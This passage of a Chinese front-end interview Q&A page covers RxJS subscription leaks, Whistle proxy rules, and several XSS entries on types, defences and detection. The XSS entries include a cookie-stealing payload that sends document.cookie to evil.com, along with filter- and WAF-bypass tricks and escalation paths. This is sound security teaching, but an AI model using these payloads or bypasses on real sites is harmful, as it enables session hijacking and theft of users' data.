complete,注意如果流不发射也不会自动取消容易踩的坑嵌套订阅:外层订阅的回调里再 subscribe,内层订阅完全失控。用 switchMap 替代——它自动取消前一次内部订阅:// 嵌套订阅,内层泄漏this.http.get('/user').subscribe(user => { this.http.get(`/posts/${user.id}`).subscribe(...);});// switchMap 自动管理this.http.get('/user').pipe( switchMap(user => this.http.get(`/posts/${user.id}`))).subscribe(posts => ...);闭包引用大对象:订阅回调捕获外部变量,即使该变量不再使用,只要订阅存活就无法回收。取消订阅即释放闭包引用。服务中的订阅:Service 生命周期等于应用生命周期,在里面 .subscribe() 几乎不可能取消。正确做法是返回 Observable,让调用方决定何时订阅和取消。追问方向takeUntil 和 unsubscribe() 有什么区别?——前者在管道中完成流,后者是外部强制中断;takeUntil 更符合声明式风格switchMap、concatMap、mergeMap 哪个能防止内存泄漏?——switchMap 自动取消前一次,其余不会;多对多场景需配合 takeUntil如何检测 RxJS 内存泄漏?——Chrome DevTools Memory 面板拍快照,对比组件销毁前后 retained size;或在 ngOnDestroy 打日志确认是否执行
前端阅读 05月27日 21:38

什么是 XSS 攻击?XSS 有哪些类型?如何防御?

什么是 XSS 攻击?XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入网页,当其他用户浏览时脚本在其浏览器中执行,可窃取 Cookie、劫持会话、篡改页面内容。XSS 的三种类型存储型 XSS恶意脚本被永久存入服务器(如评论区、数据库)。用户访问含恶意脚本的页面即触发,危害最大,攻击者无需诱骗用户点击链接。示例:评论区提交 <script>fetch("https://evil.com?c="+document.cookie)</script>反射型 XSS恶意脚本通过 URL 参数传入,服务器将其"反射"回响应页面。需诱骗用户点击恶意链接才触发,常见于搜索页、错误页。示例:https://example.com/search?q=<script>alert(1)</script>DOM 型 XSS漏洞纯在客户端,不经过服务器。JavaScript 直接读取 URL 片段等来源并写入 DOM,脚本在浏览器中直接执行。示例:document.getElementById("out").innerHTML = location.hash.slice(1)如何防御 XSS?输入验证:白名单校验用户输入的类型、长度、格式,拒绝不合预期数据输出编码:根据上下文(HTML/JS/URL/CSS)对特殊字符转义,如 < → <CSP 策略:设置 Content-Security-Policy 限制脚本来源,禁止内联脚本执行HttpOnly Cookie:设置 Cookie 的 HttpOnly 标志,使 JS 无法读取敏感 Cookie安全 API:用 textContent 代替 innerHTML,避免 eval() 和 new Function()框架防护:React/Vue 默认转义输出,但 dangerouslySetInnerHTML / v-html 需格外谨慎常见追问XSS 和 CSRF 有什么区别?XSS 是向页面注入脚本执行恶意操作;CSRF 是借用用户已登录的身份,构造请求让浏览器自动带上 Cookie 发起伪造操作。XSS 偷数据,CSRF 冒充用户。CSP 能完全防止 XSS 吗?不能。CSP 限制脚本来源和执行方式,但如果攻击者能在允许的脚本来源中注入代码(如 CDN 被攻破),CSP 也无法阻止。防御需多层配合。SameSite Cookie 对 XSS 有什么影响?SameSite 控制 Cookie 跨站发送行为,主要防御 CSRF。对 XSS 本身无直接防护,但可限制窃取到的 Cookie 在跨站请求中被自动携带,缩小攻击面。
前端阅读 05月27日 21:38

whistle 的规则语法是什么,常用的操作符有哪些?

规则语法Whistle 规则的基本格式为 pattern operation [lineProps] [filters],即"匹配模式 + 操作 + 可选配置"。当请求 URL 匹配 pattern 时,whistle 对其执行 operation 定义的操作。常用操作符修改请求/响应:reqHeaders:修改请求头,如 www.test.com reqHeaders://x-token=abcresHeaders:修改响应头,如 www.test.com resHeaders://{cors.json}resBody / resReplace:替换响应体或响应内容映射与代理:file:映射到本地文件,如 www.test.com/api file://{mock.json}host:修改 Host 指向,如 www.test.com host 127.0.0.1:8080proxy / forward:通过代理或指定地址转发请求脚本与延迟:reqScript / resScript:用脚本动态处理请求或响应resDelay:模拟响应延迟,如 www.test.com resDelay://3000匹配模式按模糊程度从精确到宽泛:精确匹配:$www.test.com/api — 加 $ 前缀,仅匹配该 URL路径匹配:www.test.com/api — 匹配该路径下所有请求通配符匹配:*.test.com 或 ^https://**.test.com/**正则匹配:/api\/v2/i — 用正则灵活匹配 URL规则优先级与合并相同 pattern 不同 operation 会合并生效,如 www.test.com resDelay://3000 file://{data.json} 同时延迟并返回本地数据相同 pattern 相同 operation 取最前面的规则用 lineProps://important 提升单行优先级用 excludeFilter / includeFilter 对匹配结果二次过滤追问Whistle 如何实现只对 POST 请求生效?用 includeFilter://m:post 过滤请求方法多条规则冲突时如何排查?看 Rules 面板的匹配日志,或用 lineProps://important 调整优先级Whistle 和 Charles 的核心区别?Whistle 基于规则文件配置、支持脚本和插件,Charles 偏 GUI 操作
前端阅读 05月27日 21:37

常见 XSS Payload 有哪些?

常见 XSS Payload 有哪些?XSS Payload 是注入页面后可在浏览器执行的恶意代码片段,面试常考按攻击目的分类和绕过手法。答案Cookie/会话窃取——document.cookie 读取会话信息外发。防护:Cookie 设 HttpOnly。页面篡改与钓鱼——修改 DOM 或注入伪造登录框。防护:输入做 HTML 实体编码后再渲染。键盘记录——监听 keydown 回传按键。防护:CSP 的 connect-src 限制外发目标。CSRF 辅助——JS 能读 CSRF Token 构造合法请求,XSS 场景下 CSRF Token 无效。绕过手法大小写混写:<ScRiPt> 绕过小写匹配编码变形:HTML 实体、URL 编码、JS Unicode 让关键字变形事件处理器:<img onerror>、<svg onload> 在 <script> 被过滤后仍可触发符号替换:/ 替代空格,反引号替代引号防护优先级输出编码——渲染前 HTML 转义CSP——script-src 'nonce-xxx',nonce 优于 unsafe-inlineHttpOnly Cookie——防 JS 读取白名单校验——拒绝危险字符而非过滤追问unsafe-eval 和 unsafe-inline 风险?——分别允许 eval 和内联脚本,削弱 CSPDOM 型与反射型 XSS 区别?——前者纯客户端 DOM 操作,后者服务端回显输入富文本如何防 XSS?——用 DOMPurify 白名单,而非黑名单过滤
前端阅读 05月27日 21:37

XSS 攻击有哪些危害?如何防范?

核心危害与防范XSS(跨站脚本攻击)允许攻击者向页面注入恶意脚本,危害集中在三个层面:窃取凭据(Cookie、Session ID、Token)、操控用户行为(伪造请求、钓鱼、重定向)、破坏页面完整性(篡改内容、植入挖矿脚本)。具体来说,攻击者通过 document.cookie 窃取会话信息后可劫持账户;注入伪造表单骗取密码;用 window.location 重定向到钓鱼站;监听 keydown 记录键盘输入;甚至用 fetch 携带 credentials:'include' 代发转账请求。DOM 型 XSS 还能直接修改页面 DOM,篡改显示内容。系统性防御方案防御的核心原则是不信任任何用户输入,具体分为四层:输入层:白名单校验 + 长度限制,富文本场景用 DOMPurify 过滤危险标签和属性。输出层:根据上下文选择编码方式——HTML 正文转义 <>&",属性值额外转义引号,URL 上下文做 URL 编码,JS 上下文做 Unicode 转义。优先用 textContent 替代 innerHTML。浏览器层:部署 CSP 策略,禁止内联脚本和外域脚本加载;Cookie 设置 HttpOnly 阻止 JS 读取、SameSite=Strict 防跨站携带;响应头加上 X-Content-Type-Options: nosniff。框架层:React/Vue 默认转义输出,避免 dangerouslySetInnerHTML / v-html;需要渲染 HTML 时必须先 sanitize。追问存储型、反射型、DOM 型 XSS 的区别是什么? 存储型恶意脚本持久化在服务端,所有访问者触发;反射型脚本随 URL 参数传入,需诱骗点击;DOM 型纯前端触发,不经过服务端。CSP 如何绕过? 若配置允许 unsafe-inline 或 unsafe-eval 则形同虚设;JSONP 接口可被利用加载外域脚本。HttpOnly 能防 XSS 吗? 不能,只防 Cookie 读取,攻击者仍可通过 XSS 发起请求(借助浏览器自动携带 Cookie)。
前端阅读 05月27日 21:36

whistle 如何进行性能监控和分析,有哪些优化建议?

答案Whistle 的性能监控和分析主要依赖 Network 面板和规则配置,核心思路是:抓包看耗时,规则模拟瓶颈,对比验证优化效果。Network 面板分析请求耗时Whistle 的 Network 面板类似 Chrome DevTools,展示所有经过代理的 HTTP/HTTPS 请求。选中某条请求后,右侧详情面板可查看请求头、响应头、Cookie、耗时等完整信息。通过点击 Timeline 列可切换为时间线视图,直观看到每个请求的起止时间和并发关系,快速定位慢请求。实际操作中,先按耗时排序找出 Top 慢请求,再逐个分析是 DNS 解析慢、服务端响应慢(TTFB 高),还是资源体积大导致下载慢,针对性优化。弱网模拟测试性能下限用 reqDelay 和 reqSpeed 规则模拟弱网:# 延迟 3 秒www.example.com reqDelay://3000# 限速 50kb/swww.example.com reqSpeed://50移动端场景必须做弱网测试。Whistle 的优势在于手机配代理后直接生效,比 Chrome DevTools 的弱网模拟更贴近真实移动环境。规则辅助性能优化验证压缩验证:用 enable://gzip 或 enable://br 强制开启压缩,对比响应体积变化:www.example.com enable://gzip缓存测试:用 cache:// 规则控制缓存策略,验证缓存头是否生效:www.example.com/static cache://86400www.example.com/api cache://no-store资源替换:用 resReplace 替换线上资源为本地优化版本,快速验证优化效果:www.example.com resReplace://old.js local-optimized.js实战优化流程用 Network 面板抓包,按耗时排序找瓶颈弱网模拟验证最差体验规则注入压缩/缓存/替换,对比优化前后数据用 Composer 重放请求,确认优化稳定Whistle 不是性能监控平台,而是开发阶段的性能诊断工具,适合在上线前发现和验证问题,线上监控仍需 RUM 方案。追问Q: Whistle 和 Chrome DevTools 的 Network 面板有什么区别?Whistle 是独立代理,能抓取手机 App、小程序等非浏览器场景的请求,这是浏览器内嵌工具做不到的。Q: 如何用 Whistle 持续监控性能?Whistle 本身不支持持续监控,但可以导出 HAR 文件,结合脚本定期采集后做趋势分析。
前端阅读 05月27日 21:36

如何检测 XSS 漏洞?有哪些常用的 XSS 检测工具和方法?

答案检测 XSS 漏洞分手动测试和自动化工具两条线。手动测试关注三个输入来源——URL 参数、表单提交、DOM 来源,逐个注入 <script>alert(1)</script>、<img src=x onerror=alert(1)> 等基础 Payload,观察是否原样回显到页面。自动化工具推荐三款:Burp Suite 拦截请求后用 Intruder 批量注入变体 Payload,适合深度测试;XSStrike 专攻 XSS,自带 WAF 绕过和上下文感知的 Payload 生成,命令行一行搞定;OWASP ZAP 开源免费,适合快速扫描。三种 XSS 类型检测侧重不同:反射型盯 URL 参数回显,存储型盯评论区/个人资料等持久化输出,DOM 型盯 innerHTML、document.write 等危险 Sink 以及 location.hash 等客户端 Source。代码审计层面,重点搜 innerHTML、eval、document.write 和未转义的用户输入拼接,配合 ESLint security 插件或 Semgrep 做静态扫描。追问Q: DOM 型 XSS 和反射型 XSS 的根本区别是什么?反射型的恶意数据经过服务器再返回,在响应 HTML 中可见;DOM 型完全在客户端发生,服务端响应里看不到恶意代码,必须审查前端 JS 逻辑才能发现。Q: 如果目标站部署了 WAF,XSS 检测怎么做?先确认 WAF 规则类型。常见绕过:大小写混写 <ScRiPt>、编码绕过 <script>、事件属性替代 <img src=x onerror=...>、利用 SVG/MathML 标签。XSStrike 的 --skip 参数可跳过 WAF 检测直接注入。Q: 如何证明发现的 XSS 漏洞有实际危害?从 alert(1) 升级到可利用场景:窃取 Cookie(document.cookie 发往攻击者服务器)、键盘记录、钓鱼表单注入、组合 CSRF 实现账户接管。面试中能说出危害链路比只会弹框高一个层次。